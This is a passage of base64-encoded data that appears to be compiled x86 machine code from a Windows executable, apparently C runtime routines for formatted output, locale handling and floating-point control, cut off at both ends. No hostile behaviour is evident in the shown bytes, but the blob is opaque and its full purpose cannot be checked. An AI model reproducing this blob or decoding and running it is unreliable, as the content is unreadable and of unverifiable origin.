V4+///ib3w+///i0f8iYV8+///jYW0+///UP+1qPv//w++wv+16Pv//1D/tfT7//+NhXj7//9WUP81HF5EAP8VDKJCAP/Qi/uDxByB54AAAAB0IYO96Pv//wB1GI2FtPv//1BW/zUoXkQA/xUMokIA/9BZWWpnWGY5heT7//91HIX/dRiNhbT7//9QVv81JF5EAP8VDKJCAP/QWVmAPi0PhR7+//+BywABAABGiZ3s+///6Qz+///Hhej7//8IAAAAagfrHIPocw+Ee/z//0hID4SS/v//g+gDD4WJAQAAaifHheT7//8QAAAAWImFrPv//4TbD4l4/v//ajBZg8BRZomNyPv//2aJhcr7///Hhdz7//8CAAAA6VX+//+DxwSJvfD7///2wyB0EfbDQHQGD79H/OsOD7dH/OsI9sNAdAyLR/yZi8iL+jPA6weLT/wzwIv49sNAdBw7+H8YfAQ7yHMS99kT+PffgcsAAQAAiZ3s+///98MAkAAAdQKL+IuV6Pv//4XSeQUz0kLrFoPj94md7Pv//4H6AAIAAH4FugACAACLwQvHdQaJhdz7//+Ntfv9//+LwkqJlej7//+FwH8Gi8ELx3Q9i4Xk+///mVJQV1HoU6MAAIPBMImdhPv//4mF9Pv//4v6g/k5fgYDjaz7//+Llej7//+IDk6LjfT7///rsIud7Pv//42N+/3//yvORomN9Pv///fDAAIAAHRFhcl0BYA+MHQ8TkFqMFiIBusthfZ1Bos1zFxEAMeF1Pv//wEAAACLzoX/dA8zwE9mOQF0B4PBAoX/dfMrztH5iY30+///g72w+///AA+FrQEAAPbDQHQg98MAAQAAD4QdAQAAai1YZomFyPv//8eF3Pv//wEAAABqIFqLvdD7//+Lhdz7//8r+Sv49sMMdR2NheD7//9Q/7XY+///V1LoVPX//4uF3Pv//4PEEP+1oPv//42N4Pv//1H/tdj7//9QjYXI+///UOhX9f//g8QU9sMIdB/2wwR1Go2F4Pv//1D/tdj7//9XajBYUOgH9f//g8QQg73U+///AIuF9Pv//w+FswAAAIXAD46rAAAAi86JteT7//9IiYWE+///jYW0+///UIuFtPv///9wdI2FnPv//1FQ6L6gAACDxBCJhZT7//+FwH5njYXg+///UP+12Pv///+1nPv//+hi9P//i43k+///g8QMA42U+///i4WE+///iY3k+///hcB/mOtW9sMBdAdqK+nZ/v//9sMCD4Ti/v//aiBaZomVyPv//8eF3Pv//wEAAADpzP7//4PI/4mF4Pv//+sj/7Wg+///jY3g+///Uf+12Pv//1BW6FD0//+DxBSLheD7//+FwHgf9sMEdBqNheD7//9Q/7XY+///V2ogWFDo+/P//4PEEIuFpPv//4XAdA9Q6D6n//8zwFmJhaT7//+LjfT7//+Lhfj7//8PtxCLheD7//+JleT7//9mhdIPhXL1//+Ljcz7//+FyXQFg/kHdVCAvcD7//8AdAqLjbz7//+DYXD9i038X14zzVvou5n//4vlXcPofdH//8cAFgAAAOi05f//gL3A+///AA+EuvT//4uNvPv//4NhcP3pq/T//+hR0f//xwAWAAAA6Ijl//+AvcD7//8A6YP0//+Q+5NBAMGRQQD1kUEASpJBAJuSQQCokkEA9ZJBACCUQQBVi+yDfQgAdRXoC9H//8cAFgAAAOhC5f//g8j/XcP/dQhqAP81VGlEAP8VzKFCAF3DVYvsVlcz9moA/3UM/3UI6N5MAACL+IPEDIX/dSU5BSBpRAB2HVboBjAAAIHG6AMAAFk7NSBpRAB2A4PO/4P+/3XFi8dfXl3DVYvsU1ZXiz0gaUQAM/b/dQjooqf//4vYWYXbdSOF/3QfVujCLwAAiz0gaUQAgcboAwAAWTv3dgODzv+D/v91zl9ei8NbXcNVi+xWVzP2/3UM/3UI6PSfAACL+FlZhf91KjlFDHQlOQUgaUQAdh1W6HUvAACBxugDAABZOzUgaUQAdgODzv+D/v91w4vHX15dw1WL7FZXM/b/dRD/dQz/dQjoUqAAAIv4g8QMhf91KjlFEHQlOQUgaUQAdh1W6CcvAACBxugDAABZOzUgaUQAdgODzv+D/v91v4vHX15dw8zMzMzMzMzMzGhAnkEAZP81AAAAAItEJBCJbCQQjWwkECvgU1ZXoQhURAAxRfwzxVCJZej/dfiLRfzHRfz+////iUX4jUXwZKMAAAAAw4tN8GSJDQAAAABZX19eW4vlXVHDzMzMzMzMzFWL7IPsGFOLXQxWV8ZF/wCLewiNcxAzPQhURADHRfQBAAAAiweD+P50DYtPBAPOMwww6FaX//+LRwiLTwwDzjMMMOhGl///i0UI9kAEZg+FzwAAAIlF6ItFEIlF7I1F6IlD/ItDDIlF+IP4/g+E7QAAAI0EQI1ABItMhwSNBIeLGIlF8IXJdHuL1uhzSgAAsQGITf+FwA+IfgAAAH5oi0UIgThjc23gdSiDPajIQgAAdB9oqMhCAOh0LgAAg8QEhcB0DmoB/3UI/xWoyEIAg8QIi1UIi00M6FZKAACLRQyLVfg5UAx0EGgIVEQAVovI6FdKAACLRQyJWAyLB4P4/nR162aKTf+JXfiLw4P7/g+FXv///4TJdEfrIcdF9AAAAADrGIN7DP50NmgIVEQAVovLuv7////oEEoAAIsHg/j+dA2LTwQDzjMMMOg+lv//i1cIi08MA84zDDLoLpb//4tF9F9eW4vlXcOLTwQDzjMMMOgXlv//i0cIi08MA84zDDDoB5b//4tN8IvWi0kI6IZJAADMVYvsi1UMoSBURAD30otNCCPQI00MC9GJFSBURABdw+gYLwAAhcB0CGoW6DYvAABZ9gUgVEQAAnQhahfovPoAAIXAdAVqB1nNKWoBaBUAAEBqA+hS4P//g8QMagPoxaj//8xVi+yLRQijJGlEAF3DzMzMzMzMzMzMzMzMzIPsDN0UJOjtoQAA6A0AAACDxAzDjVQkBOiYoQAAUpvZPCSLRCQMdFFmgTwkfwJ0BehQoQAAqQAAAIB1H9n6gz0QaUQAAA+Fw6EAALoFAAAAjQ0wVEQA6cChAACpAADwf3Usqf//DwB1JYN8JAgAdR7rzOgloQAA6yKp//8PAHXyg3wkCAB16yUAAACAdLDd2NstsOlCALgBAAAAgz0QaUQAAA+FZqEAALoFAAAAjQ0wVEQA6G+gAABaw1WL7N1FCNnu3eHf4Ff2xER6Cd3ZM//prwAAAFZmi3UOD7fGqfB/AAB1fItNDItVCPfB//8PAHUEhdJ0at7ZvwP8///f4PbEQXUFM8BA6wIzwPZFDhB1HwPJiU0MhdJ5BoPJAYlNDAPST/ZFDhB06GaLdQ6JVQi57/8AAGYj8WaJdQ6FwHQMuACAAABmC/BmiXUO3UUIagBRUd0cJOgxAAAAg8QM6yNqAFHd2FHdHCToHgAAAA+3/oPEDMHvBIHn/wcAAIHv/gMAAF6LRRCJOF9dw1WL7FFRi00Qi0UO3UUID7fAjYn+AwAAJQ+AAADB4QTdXfgLyGaJTf7dRfiL5V3DVYvsg+wMU4tdCFaL84PmH/bDCHQW9kUQAXQQagHooQUAAFmD5vfpkAEAAPbDBHQW9kUQBHQQagTohgUAAFmD5vvpdQEAAPbDAQ+EmgAAAPZFEAgPhJAAAABqCOhjBQAAi0UQWbkADAAAI8F0VD0ABAAAdDc9AAgAAHQaO8F1YotNDNnu3Bnf4N0FSFREAPbEBXtM60iLTQzZ7twZ3+D2xAV7LN0FSFREAOsyi00M2e7cGd/g9sQFeh7dBUhURADrHotNDNnu3Bnf4PbEBXoI3QU4VEQA6wjdBThURADZ4N0Zg+b+6dIAAAD2wwIPhMkAAAD2RRAQD4S/AAAAVzP/9sMQdAFHi00M3QHZ7trp3+D2xEQPi48AAADdAY1FCFBRUd0cJOjW/f//i0UIg8QMBQD6//+JRQjdVfTZ7j3O+///fQcz/97JR+tX3tkz0t/g9sRBdQFCi0X6uQP8//+D4A+DyBBmiUX6i0UIO8F9KSvIi0X09kX0AXQFhf91AUfR6PZF+AGJRfR0CA0AAACAiUX00W34SXXc3UX0hdJ0Atngi0UM3RjrAzP/R4X/X3QIahDoDAQAAFmD5v32wxB0EfZFECB0C2og6PYDAABZg+bvM8CF9l4PlMBbi+Vdw1WL7GoA/3Uc/3UY/3UU/3UQ/3UM/3UI6AUAAACDxBxdw1WL7ItFCDPJUzPbQ4lIBItFCFe/DQAAwIlICItFCIlIDItNEPbBEHQLi0UIv48AAMAJWAT2wQJ0DItFCL+TAADAg0gEAvbBAXQMi0UIv5EAAMCDSAQE9sEEdAyLRQi/jgAAwINIBAj2wQh0DItFCL+QAADAg0gEEItNCFaLdQyLBsHgBPfQM0EIg+AQMUEIi00IiwYDwPfQM0EIg+AIMUEIi00IiwbR6PfQM0EIg+AEMUEIi00IiwbB6AP30DNBCIPgAjFBCIsGi00IwegF99AzQQgjwzFBCOg/AwAAi9D2wgF0B4tNCINJDBD2wgR0B4tFCINIDAj2wgh0B4tFCINIDAT2whB0B4tFCINIDAL2wiB0BotFCAlYDIsGuQAMAAAjwXQ1PQAEAAB0Ij0ACAAAdAw7wXUpi0UIgwgD6yGLTQiLAYPg/oPIAokB6xKLTQiLAYPg/QvD6/CLRQiDIPyLBrkAAwAAI8F0ID0AAgAAdAw7wXUii0UIgyDj6xqLTQiLAYPg54PIBOsLi00IiwGD4OuDyAiJAYtFCItNFMHhBTMIgeHg/wEAMQiLRQgJWCCDfSAAdCyLRQiDYCDhi0UY2QCLRQjZWBCLRQgJWGCLRQiLXRyDYGDhi0UI2QPZWFDrOotNCItBIIPg44PIAolBIItFGN0Ai0UI3VgQi0UICVhgi00Ii10ci0Fgg+Djg8gCiUFgi0UI3QPdWFDoZgEAAI1FCFBqAWoAV/8VdKFCAItNCPZBCBB0A4Mm/vZBCAh0A4Mm+/ZBCAR0A4Mm9/ZBCAJ0A4Mm7/ZBCAF0A4Mm34sBuv/z//+D4AOD6AB0L0h0Hkh0C0h1KIEOAAwAAOsgiwYl//v//w0ACAAAiQbrEIsGJf/3//8NAAQAAOvuIRaLAcHoAoPgB4PoAHQVSHQHSHUaIRbrFosGI8INAAIAAOsJiwYjwg0AAwAAiQaDfSAAXnQH2UFQ2RvrBd1BUN0bX1tdw1WL7ItFCIP4AXQVg8D+g/gBdxjokcb//8cAIgAAAF3D6ITG///HACEAAABdw2oIaDgsRADouPb//4M9FGlEAAF8W4tFCKhAdEqDPWBVRAAAdEGDZfwAD65VCOsui0XsiwCBOAUAAMB0C4E4HQAAwHQDM8DDM8BAw4tl6IMlYFVEAACDZQi/D65VCMdF/P7////rCoPgv4lFCA+uVQjolPb//8NVi+xR3X382+IPv0X8i+Vdw1WL7FGb2X38i00Mi0UI99EjRQxmI038ZgvID7fBiUUM2W0MD79F/IvlXcNVi+xRUYtNCPbBAXQK2y1IVUQA210Im/bBCHQQm9/g2y1IVUQA3V34m5vf4PbBEHQK2y1UVUQA3V34m/bBBHQJ2e7Z6N7x3dib9sEgdAbZ691d+JuL5V3DVYvsUZvdffwPv0X8i+Vdw8zMzMzMzMzMzMyLVCQEi0wkCPfCAwAAAHVAiwI6AXUyhMB0JjphAXUphOR0HcHoEDpBAnUdhMB0ETphA3UUg8EEg8IEhOR10ov/M8DD6wPMzMwbwIPIAcOL//fCAQAAAHQYigKDwgE6AXXng8EBhMB02PfCAgAAAHSgZosCg8ICOgF1zoTAdMI6YQF1xYTkdLmDwQLrhGoMaFgsRADoCPX//2oO6FMeAABZg2X8AIt1CItGBIXAdDCLDSxpRAC6KGlEAIlN5IXJdBE5AXUsi0EEiUIEUejkmf//Wf92BOjbmf//WYNmBADHRfz+////6AoAAADo9vT//8OL0evFag7oYR8AAFnDVYvs/zUwaUQA/xUMokIAhcB0D/91CP/QWYXAdAUzwEBdwzPAXcNVi+yLRQijMGlEAF3DVYvsi1UIM8lTVkFXi8HwD8ECi3J4hfZ0BovB8A/BBouygAAAAIX2dAaLwfAPwQaLcnyF9nQGi8HwD8EGi7KIAAAAhfZ0BovB8A/BBmoGjXIcW4F++JhaRAB0DIs+hf90BovB8A/BB4N+9AB0DYt+/IX/dAaLwfAPwQeDxhBLddKLgpwAAAAFsAAAAPAPwQhBX15bXcNVi+xTVot1CDPbV4uGhAAAAIXAdGY9gF5EAHRfi0Z4hcB0WDkYdVSLhoAAAACFwHQXORh1E1DotJj///+2hAAAAOgEmQAAWVmLRnyFwHQXORh1E1Dolpj///+2hAAAAOjimQAAWVn/dnjogZj///+2hAAAAOh2mP//WVmLhogAAACFwHREORh1QIuGjAAAAC3+AAAAUOhVmP//i4aUAAAAv4AAAAArx1DoQpj//4uGmAAAACvHUOg0mP///7aIAAAA6CmY//+DxBCLhpwAAAA9oFpEAHQbOZiwAAAAdRNQ6MmZAAD/tpwAAADoAJj//1lZagZYjZ6gAAAAiUUIjX4cgX/4mFpEAHQdiweFwHQUgzgAdQ9Q6NWX////M+jOl///WVmLRQiDf/QAdBaLR/yFwHQMgzgAdQdQ6LGX//9Zi0UIg8MEg8cQSIlFCHWyVuibl///WV9eW13DVYvsi1UIhdIPhI4AAABTVoPO/1eLxvAPwQKLSniFyXQGi8bwD8EBi4qAAAAAhcl0BovG8A/BAYtKfIXJdAaLxvAPwQGLiogAAACFyXQGi8bwD8EBagaNShxbgXn4mFpEAHQMizmF/3QGi8bwD8EHg3n0AHQNi3n8hf90BovG8A/BB4PBEEt10ouKnAAAAIHBsAAAAPAPwTFOX15bi8Jdw2oMaHgsRADo1fH//4Nl5ADojQkAAIvwiw3AXEQAhU5wdCKDfmwAdBzodQkAAItwbIX2dQhqIOgCnP//WYvG6OPx///Dagzo6BoAAFmDZfwA/zUEXEQAjUZsUOghAAAAWVmL8Il15MdF/P7////oBQAAAOu8i3XkagzoHxwAAFnDVYvsV4t9DIX/dDuLRQiFwHQ0VoswO/d0KFeJOOjQ/P//WYX2dBtW6LT+//+DPgBZdQ+B/ghcRAB0B1boRv3//1mLx17rAjPAX13Dgz20nUQAAHUSav3oTgMAAFnHBbSdRAABAAAAM8DDVYvsi0UILaQDAAB0JoPoBHQag+gNdA5IdAQzwF3DoRC2QgBdw6EMtkIAXcOhCLZCAF3DoQS2QgBdw1WL7IPsEI1N8GoA6MyT//+DJUxpRAAAi0UIg/j+dRLHBUxpRAABAAAA/xUEokIA6yyD+P11EscFTGlEAAEAAAD/FTSiQgDrFYP4/HUQi0XwxwVMaUQAAQAAAItABIB9/AB0B4tN+INhcP2L5V3DVYvsU4tdCFZXaAEBAAAz/41zGFdW6NaJAACJewQzwIl7CIPEDIm7HAIAALkBAQAAjXsMq6urv3hXRAAr+4oEN4gGRkl1942LGQEAALoAAQAAigQ5iAFBSnX3X15bXcNVi+yB7CAFAAChCFREADPFiUX8U1aLdQiNhej6//9XUP92BP8VAKJCADPbvwABAACFwA+E8AAAAIvDiIQF/P7//0A7x3L0ioXu+v//jY3u+v//xoX8/v//IOsfD7ZRAQ+2wOsNO8dzDcaEBfz+//8gQDvCdu+DwQKKAYTAdd1T/3YEjYX8+v//UFeNhfz+//9QagFT6KKaAABT/3YEjYX8/f//V1BXjYX8/v//UFf/thwCAABT6Bw/AACDxECNhfz8//9T/3YEV1BXjYX8/v//UGgAAgAA/7YcAgAAU+j0PgAAg8Qki8sPt4RN/Pr//6gBdA6ATA4ZEIqEDfz9///rEKgCdBWATA4ZIIqEDfz8//+IhA4ZAQAA6weInA4ZAQAAQTvPcsHrWWqfjZYZAQAAi8tYK8KJheD6//8D0QPCiYXk+v//g8Agg/gZdwqATA4ZEI1BIOsTg73k+v//GXcOjQQOgEgZII1B4IgC6wKIGouF4Pr//42WGQEAAEE7z3K6i038X14zzVvoUIb//4vlXcPMagxomCxEAOhS7v//M/aJdeToCQYAAIv4iw3AXEQAhU9wdBw5d2x0F4t3aIX2dQhqIOiEmP//WYvG6GXu///Dag3oahcAAFmJdfyLd2iJdeQ7NZxZRAB0NIX2dBiDyP/wD8EGdQ+B/nhXRAB0B1bo/5L//1mhnFlEAIlHaIs1nFlEAIl15DPAQPAPwQbHRfz+////6AUAAADrkYt15GoN6HYYAABZw2oQaLgsRADorO3//4PP/+hlBQAAi9iJXeDoPP///4tzaP91COjR/P//WYlFCDtGBA+EaAEAAGggAgAA6JDs//9Zi9iF2w+EVQEAALmIAAAAi0Xgi3Boi/vzpTP2iTNT/3UI6EEBAABZWYv4iX0Ihf8PhQcBAACLReCLSGiDyv/wD8ERdRWLSGiB+XhXRAB0ClHoNpL//1mLReCJWGgzwEDwD8EDi0Xg9kBwAg+F7wAAAPYFwFxEAAEPheIAAABqDehFFgAAWYl1/ItDBKM0aUQAi0MIozhpRACLgxwCAACjSGlEAIvOiU3kg/kFfRBmi0RLDGaJBE08aUQAQevoi86JTeSB+QEBAAB9DYpEGRiIgXBVRABB6+iJdeSB/gABAAB9EIqEHhkBAACIhnhWRABG6+WhnFlEAIPJ//APwQh1E6GcWUQAPXhXRAB0B1DoeZH//1mJHZxZRAAzwEDwD8EDx0X8/v///+gFAAAA6zGLfQhqDej7FgAAWcPrI4P//3Uegft4V0QAdAdT6DyR//9Z6Nq7///HABYAAADrAjP/i8foVuz//8NVi+yD7CChCFREADPFiUX8U1b/dQiLdQzoNfv//4vYWYXbdQ5W6Jb7//9ZM8DpqQEAAFcz/4vPi8eJTeQ5mKBZRAAPhOgAAABBg8AwiU3kPfAAAABy5oH76P0AAA+ExgAAAIH76f0AAA+EugAAAA+3w1D/FdChQgCFwA+EqAAAAI1F6FBT/xUAokIAhcAPhIIAAABoAQEAAI1GGFdQ6A6FAACJXgSDxAwz24m+HAIAAEM5Xeh2T4B97gCNRe50IYpIAYTJdBoPttEPtgjrBoBMDhkEQTvKdvaDwAKAOAB1341GGrn+AAAAgAgIQEl1+f92BOgh+v//g8QEiYYcAgAAiV4I6wOJfggzwI1+DKurq+m8AAAAOT1MaUQAdAtW6J36///prwAAAIPI/+mqAAAAaAEBAACNRhhXUOhxhAAAg8QMa0XkMIlF4I2AsFlEAIlF5IA4AIvIdDWKQQGEwHQrD7YRD7bA6xeB+gABAABzE4qHmFlEAAhEFhlCD7ZBATvQduWDwQKAOQB1zotF5EeDwAiJReSD/wRyuFOJXgTHRggBAAAA6G75//+DxASJhhwCAACLReCNTgxqBo2QpFlEAF9miwKNUgJmiQGNSQJPdfFW6Ej6//9ZM8Bfi038XjPNW+gWgv//i+Vdw1WL7Lj//wAAg+wUZjlFCA+EmAAAAFb/dQyNTezoIo3//4t17IuGqAAAAIXAdRWLTQiNQb9mg/gZdwRmg8EgD7fB6x66AAEAAGoBZjlVCHMo/3UI6HY7AABZhcCLRQhZdQgPt8APt8DrKg+3yIuGlAAAAA+2BAjrG41N/FFqAY1NCFFSUOgWOwAAg8QYhcB1C4tFCA+3wA+3wOsED7dF/IB9+ABedAeLTfSDYXD9i+Vdw2oIaNgsRADoaOn//4t1CIX2D4T+AAAAg34kAHQJ/3Yk6GOO//9Zg34sAHQJ/3Ys6FSO//9Zg340AHQJ/3Y06EWO//9Zg348AHQJ/3Y86DaO//9Zg35AAHQJ/3ZA6CeO//9Zg35EAHQJ/3ZE6BiO//9Zg35IAHQJ/3ZI6AmO//9ZgX5cCMhCAHQJ/3Zc6PeN//9Zag3oLRIAAFmDZfwAi05ohcl0GIPI//APwQF1D4H5eFdEAHQHUejMjf//WcdF/P7////oVwAAAGoM6PYRAABZx0X8AQAAAIt+bIX/dCNX6A72//9ZOz0EXEQAdBSB/whcRAB0DIM/AHUHV+iY9P//WcdF/P7////oHgAAAFbodI3//1non+j//8IEAIt1CGoN6AkTAABZw4t1CGoM6P0SAABZw1boEgAAAIvwhfZ1CGoQ6IiS//9Zi8Zew1ZX/xW4oEIA/zWQWkQAi/joyxMAAIvwWYX2dUdovAMAAGoB6M/m//+L8FlZhfZ0M1b/NZBaRADowxMAAFlZhcB0GGoAVuglAAAAWVn/FfyhQgCDTgT/iQbrCVbo24z//1kz9lf/FbygQgBfi8Zew2oIaAAtRADorOf//4t1CMdGXAjIQgCDZggAM/9HiX4UiX5wakNYZomGuAAAAGaJhr4BAADHRmh4V0QAg6a4AwAAAGoN6MEQAABZg2X8AItGaIvP8A/BCMdF/P7////oPgAAAGoM6KAQAABZiX38i0UMiUZshcB1CKEEXEQAiUZs/3Zs6MDy//9Zx0X8/v///+gVAAAA6GPn///DM/9Hi3UIag3ozBEAAFnDagzowxEAAFnD6C6S///ofhEAAIXAdQjoYwAAADPAw2hstEEA6GESAACjkFpEAFmD+P9041ZovAMAAGoB6J3l//+L8FlZhfZ0LVb/NZBaRADokRIAAFlZhcB0G2oAVujz/v//WVn/FfyhQgCDTgT/iQYzwEBew+gEAAAAM8Bew6GQWkQAg/j/dA5Q6BkSAACDDZBaRAD/Wen4DwAAaghoKC1EAOhm5v//vghcRAA5NQRcRAB0KmoM6KQPAABZg2X8AFZoBFxEAOjh9P//WVmjBFxEAMdF/P7////oBgAAAOhv5v//w2oM6N4QAABZw/8V+KFCADPJo1RpRACFwA+VwYvBw1WL7IN9CAB0JlaLdQz3RgwAEAAAdBhW6MCV//+BZgz/7v//M8BZiUYYiQaJRgheXcNVi+xWi3UIVuhIl///UOj3fwAAWVmFwA+EhgAAAFfoEZT//4PAIDvwdQQz/+sP6AGU//+DwEA78HVmM/9H/wXgZUQA90YMDAEAAHVUgzy9WGlEAABTuwAQAAB1JVPokOT//4kEvVhpRABZhcB1E41GFGoCiUYIiQZYiUYYiUYE6xKLDL1YaUQAiU4IiQ6JXhiJXgSBTgwCEQAAM8BAW+sCM8BfXl3DagPopmQAAFmD+AF0FWoD6JlkAABZhcB1H4M9YGlEAAF1Fmj8AAAA6DEAAABo/wAAAOgnAAAAWVnDVYvsi00IM8A7DMUgukIAdApAg/gXcvEzwF3DiwTFJLpCAF3DVYvsgez8AQAAoQhURAAzxYlF/FaLdQhXVui+////i/hZhf8PhHkBAABTagPoH2QAAFmD+AEPhA8BAABqA+gOZAAAWYXAdQ2DPWBpRAABD4T2AAAAgf78AAAAD4RBAQAAaMDDQgBoFAMAAGhoaUQA6N2g//+DxAwz24XAD4UxAQAAaAQBAABommlEAFNmo6JrRAD/FZShQgC++wIAAIXAdRto9MNCAFZommlEAOigoP//g8QMhcAPhfYAAABommlEAOgQNgAAQFmD+Dx2NWiaaUQA6P81AABqA2gkxEIAjQxFJGlEAIvBLZppRADR+CvwVlHocqj//4PEFIXAD4WwAAAAaCzEQgBoFAMAAL5oaUQAVujOn///g8QMhcAPhZAAAABXaBQDAABW6Lef//+DxAyFwHV9aBAgAQBoOMRCAFboHI8AAIPEDOtXavT/FaihQgCL8IX2dEmD/v90RDPbi8uKBE+IhA0I/v//ZjkcT3QJQYH59AEAAHLnU42FBP7//4hd+1CNhQj+//9Q6La9//9ZUI2FCP7//1BW/xX0oUIAW4tN/F8zzV7oFnv//4vlXcNTU1NTU+glx///zFWL7IHsgAIAAKEIVEQAM8WJRfyLRQiNjZD9//9TVomF0P3//4tFDFf/dRCLfRSJhfD9//8zwIvYib3k/f//iYWs/f//i/CJnej9//+JhcD9//+Jhdj9//+Jhcz9//+JhaT9//+JhbT9//+Jhcj9///ow4X//+hYsv//iYWo/f//i4XQ/f//hcAPhL0KAAD2QAxAdWNQ6PuT//9Zi8iD+f90GYP5/nQUi9HB+AWD4h/B4gYDFIUIcUQA6wW6MF5EAPZCJH8PhYEKAACD+f90GYP5/nQUi8GD4R/B+AXB4QYDDIUIcUQA6wW5MF5EAPZBJIAPhVQKAACLlfD9//+F0g+ERgoAAIoSM8CJhdz9//+LyImN4P3//4mFvP3//4mFsP3//4iV7/3//4iVuP3//4TSD4TuCQAAi4Xw/f//QImF8P3//4XJD4jZCQAAjULgPFh3Dw++wg++gIDEQgCD4A/rAjPAi728/f//D768x6DEQgCLx4m9vP3//4u95P3//8H4BImFvP3//4P4Bw+HdwkAAP8khSbGQQAzwION2P3///+L2ImFpP3//4mFtP3//4mFwP3//4mFzP3//4md6P3//4mFyP3//+k8CQAAD77Cg+ggdEaD6AN0OYPoCHQvSEh0HYPoA4uF8P3//w+FHQkAAIPLCImd6P3//+kPCQAAg8sEiZ3o/f//6fsIAACDywHr8IHLgAAAAOvog8sC6+OA+ip1L4sHg8cEib3k/f//iYXA/f//hcAPicsIAACDywT32Imd6P3//4mFwP3//+m1CAAAa43A/f//Cg++woPB0APBiYXA/f//6ZUIAAAzwImF2P3//+mOCAAAgPoqdSuLB4PHBImF2P3//4XAi4Xw/f//ib3k/f//D4lwCAAAg43Y/f///+lkCAAAa43Y/f//Cg++woPB0APBiYXY/f//6T4IAACA+kl0RYD6aHQ4i4Xw/f//gPpsdBSA+ncPhSwIAACBywAIAADpB////4A4bHUMQIHLABAAAOn2/v//g8sQ6e7+//+DyyDp9P7//4uF8P3//4oAPDZ1HIu98P3//4B/ATR1EIvHg8ACgcsAgAAA6b7+//88M3Uci73w/f//gH8BMnUQi8eDwAKB4/9////pnv7//zxkD4SqBwAAPGkPhKIHAAA8bw+EmgcAADx1D4SSBwAAPHgPhIoHAAA8WA+EggcAADPAiYW8/f//6wIzwImFyP3//42FkP3//1APtsJQ6D6p//9ZWYXAdDiNheD9//9Q/7XQ/f///7W4/f//6LkHAACLjfD9//+DxAyKAUGIhbj9//+JjfD9//+EwA+EZAcAAI2F4P3//1D/tdD9////tbj9///ogQcAAIPEDOn8BgAAD77Cg/hkD4/NAQAAD4RRAgAAg/hTD4/tAAAAdHyD6EF0EEhIdFZISHQISEgPhRgFAACAwiDHhaT9//8BAAAAiJXv/f//i4XY/f//jbX0/f//g8tAuQACAACJnej9//+JjcT9//+FwA+JMgIAAMeF2P3//wYAAADpgAIAAPfDMAgAAA+FngAAAIHLAAgAAImd6P3//+mNAAAA98MwCAAAdQyBywAIAACJnej9//+Lldj9//+5////f4P6/3QCi8qLN4PHBIm95P3///fDEAgAAA+EUwQAAIX2dQaLNcxcRADHhcj9//8BAAAAi8aFyXQPM9JJZjkQdAeDwAKFyXXzK8bR+Ok8BAAAg+hYD4SwAgAASEh0cIPoBw+EJ////0hID4UkBAAAg8cEib3k/f//98MQCAAAdDAPt0f8UGgAAgAAjYX0/f//UI2F3P3//1DoU4wAAIPEEIXAdB/HhbT9//8BAAAA6xOKR/yIhfT9///Hhdz9//8BAAAAjbX0/f//6cUDAACLB4PHBIm95P3//4XAdDOLcASF9nQsD78A98MACAAAdBSZK8LHhcj9//8BAAAA0fjpigMAADPJiY3I/f//6X0DAACLNchcRABW6LC3//9Z6WsDAACD+HAPj+MBAAAPhM8BAACD+GUPjFkDAACD+GcPjkv+//+D+Gl0ZIP4bnQlg/hvD4U9AwAAx4Xc/f//CAAAAITbeVuBywACAACJnej9///rTYPHBIm95P3//4t//Og7hP//hcAPhAIFAACLheD9///2wyB0BWaJB+sCiQfHhbT9//8BAAAA6XoEAACDy0CJnej9///Hhdz9//8KAAAA98MAgAAAdQz3wwAQAAAPhI4BAACLD4PHCIm95P3//zP2i3/86a4BAAB1EYD6Z3VWx4XY/f//AQAAAOtKO8F+CIvBiYXY/f//PaMAAAB+N424XQEAAFfoWtv//4qV7/3//4mFsP3//1mFwHQKi/CJvcT9///rCseF2P3//6MAAACLveT9//+LB4PHCImFiP3//4m95P3//4tH/ImFjP3//42FkP3//1D/taT9//8PvsL/tdj9//9Q/7XE/f//jYWI/f//VlD/NRxeRAD/FQyiQgD/0Iv7g8QcgeeAAAAAdCGDvdj9//8AdRiNhZD9//9QVv81KF5EAP8VDKJCAP/QWVmAve/9//9ndRyF/3UYjYWQ/f//UFb/NSReRAD/FQyiQgD/0FlZgD4tD4Uo/v//gcsAAQAARomd6P3//+kW/v//x4XY/f//CAAAAGoH6xyD6HMPhN/8//9ISA+Elv7//4PoAw+FawEAAGonx4Xc/f//EAAAAFiJhaz9//+E2w+JfP7//wRRxoXU/f//MIiF1f3//8eFzP3//wIAAADpXv7//4PHBDP2ib3k/f//9sMgdBH2w0B0Bg+/R/zrDg+3R/zrCPbDQHQKi0f8mYvIi/rrBYtP/Iv+9sNAdBw7/n8YfAQ7znMS99kT/vffgcsAAQAAiZ3o/f//98MAkAAAdQKL/ouV2P3//4XSeQUz0kLrFIPj97gAAgAAiZ3o/f//O9B+AovQi8ELx3UGibXM/f//jXXzi8JKiZXY/f//hcB/BovBC8d0PYuF3P3//5lSUFdR6BZ5AACDwTCJnYT9//+JhcT9//+L+oP5OX4GA42s/f//i5XY/f//iA5Oi43E/f//67CLnej9//+NRfMrxkaJhdz9///3wwACAAB0NoXAdAWAPjB0LU7/hdz9///GBjDrIYX2dQaLNchcRACLxusHSYA4AHQFQIXJdfUrxomF3P3//4O9tP3//wAPhYYBAAD2w0B0NffDAAEAAHQJxoXU/f//Lesa9sMBdAnGhdT9//8r6wz2wwJ0EcaF1P3//yDHhcz9//8BAAAAi73A/f//K73c/f//i4XM/f//K/j2wwx1Ho2F4P3//1D/tdD9//9XaiDoAgIAAIuFzP3//4PEEP+1qP3//42N4P3//1H/tdD9//9QjYXU/f//UOgFAgAAg8QU9sMIdB32wwR1GI2F4P3//1D/tdD9//9XajDotwEAAIPEEIO9yP3//wCLhdz9//90fYXAfnmLzkiJhcT9//8PtwGDwQJQagaNRfSJjYT9//9QjYWg/f//UOhfhwAAg8QQhcB1PzmFoP3//3Q3/7Wo/f//jYXg/f//UP+10P3//41F9P+1oP3//1DodAEAAIuFxP3//4PEFIuNhP3//4XAdZbrKIPJ/4mN4P3//+sj/7Wo/f//jY3g/f//Uf+10P3//1BW6DoBAACDxBSLjeD9//+FyXgj9sMEdB6NheD9//9Q/7XQ/f//V2og6OcAAACDxBCLjeD9//+LhbD9//+FwHQVUOg0ff//M8BZiYWw/f//i43g/f//i4Xw/f//ihCIle/9//+Ilbj9//+E0g+FGPb//4vBgL2c/f//AF9eW3QKi42Y/f//g2Fw/YtN/DPN6MBv//+L5V3D6IKn///HABYAAADoubv//4PI/+vHV75BAF+8QQCTvEEA5rxBADS9QQBBvUEAi71BAM2+QQBVi+yLVQz2QgxAdAaDeggAdC//SgR4DosCik0IiAj/Ag+2wesPi0UIUg++wFDonbv//1lZg/j/dQiLRRCDCP9dw4tFEP8AXcNVi+xWi3UMhfZ+HleLfRRX/3UQTv91COic////g8QMgz//d